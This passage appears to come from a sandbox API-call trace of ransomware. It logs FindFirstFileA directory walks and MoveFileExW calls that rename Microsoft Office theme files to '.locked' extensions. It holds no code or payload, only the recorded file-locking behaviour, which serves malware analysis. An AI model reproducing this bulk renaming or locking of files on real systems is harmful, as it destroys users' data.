colors\\module.xml.locked"), dwFlags=0x2) returned 1 [0034.854] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.locked"), dwFlags=0x2) returned 1 [0034.857] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.locked"), dwFlags=0x2) returned 1 [0034.860] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.locked"), dwFlags=0x2) returned 1 [0034.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.locked"), dwFlags=0x2) returned 1 [0034.869] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.locked"), dwFlags=0x2) returned 1 [0034.875] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.locked"), dwFlags=0x2) returned 1 [0034.878] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.locked"), dwFlags=0x2) returned 1 [0034.882] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.locked"), dwFlags=0x2) returned 1 [0034.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.locked"), dwFlags=0x2) returned 1 [0034.888] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.locked"), dwFlags=0x2) returned 1 [0034.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.locked"), dwFlags=0x2) returned 1 [0034.894] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.locked"), dwFlags=0x2) returned 1 [0034.897] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.locked"), dwFlags=0x2) returned 1 [0034.901] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.locked"), dwFlags=0x2) returned 1 [0034.904] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.locked"), dwFlags=0x2) returned 1 [0034.907] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7c9e620, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7c9e620, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.915] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7cc4780, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7cc4780, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.921] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.locked"), dwFlags=0x2) returned 1 [0034.952] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.locked"), dwFlags=0x2) returned 1 [0034.960] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.locked"), dwFlags=0x2) returned 1 [0034.965] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.locked"), dwFlags=0x2) returned 1 [0034.970] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.locked"), dwFlags=0x2) returned 1 [0034.977] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.locked"), dwFlags=0x2) returned 1 [0034.991] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.locked"), dwFlags=0x2) returned 1 [0034.998] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.locked"), dwFlags=0x2) returned 1 [0035.004] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.locked"), dwFlags=0x2) returned 1 [0035.010] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.locked"), dwFlags=0x2) returned 1 [0035.015] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.locked"), dwFlags=0x2) returned 1 [0035.021] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.locked"), dwFlags=0x2) returned 1 [0035.026] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.locked"), dwFlags=0x2) returned 1 [0035.032] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.locked"), dwFlags=0x2) returned 1 [0035.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.locked"), dwFlags=0x2) returned 1 [0035.042] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.locked"), dwFlags=0x2) returned 1 [0035.047] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.locked"), dwFlags=0x2) returned 1 [0035.053] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.locked"), dwFlags=0x2) returned 1 [0035.059] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.locked"), dwFlags=0x2) returned 1 [0035.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.locked"), dwFlags=0x2) returned 1 [0035.070] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.locked"), dwFlags=0x2) returned 1 [0035.076] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.locked"), dwFlags=0x2) returned 1 [0035.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.locked"), dwFlags=0x2) returned 1 [0035.089] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.locked"), dwFlags=0x2) returned 1 [0035.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.locked"), dwFlags=0x2) returned 1 [0035.099] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.locked"), dwFlags=0x2) returned 1 [0035.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.locked"), dwFlags=0x2) returned 1 [0035.110] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.locked"), dwFlags=0x2) returned 1 [0035.116] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.locked"), dwFlags=0x2) returned 1 [0035.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.locked"), dwFlags=0x2) returned 1 [0035.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.locked"), dwFlags=0x2) returned 1 [0035.132] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.locked"), dwFlags=0x2) returned 1 [0035.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.locked"), dwFlags=0x2) returned 1 [0035.144] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.locked"), dwFlags=0x2) returned 1 [0035.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.locked"), dwFlags=0x2) returned 1 [0035.155] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.locked"), dwFlags=0x2) returned 1 [0035.161] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.locked"), dwFlags=0x2) returned 1 [0035.166] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.locked"), dwFlags=0x2) returned 1 [0035.172] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.locked"), dwFlags=0x2) returned 1 [0035.178] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.locked"), dwFlags=0x2) returned 1 [0035.183] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.locked"), dwFlags=0x2) returned 1 [0035.188] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.locked"), dwFlags=0x2) returned 1 [0035.190] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7f4bee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f4bee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0035.198] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7f72040, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f72040, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0035.200] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7f72040, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f72040, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.205] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, 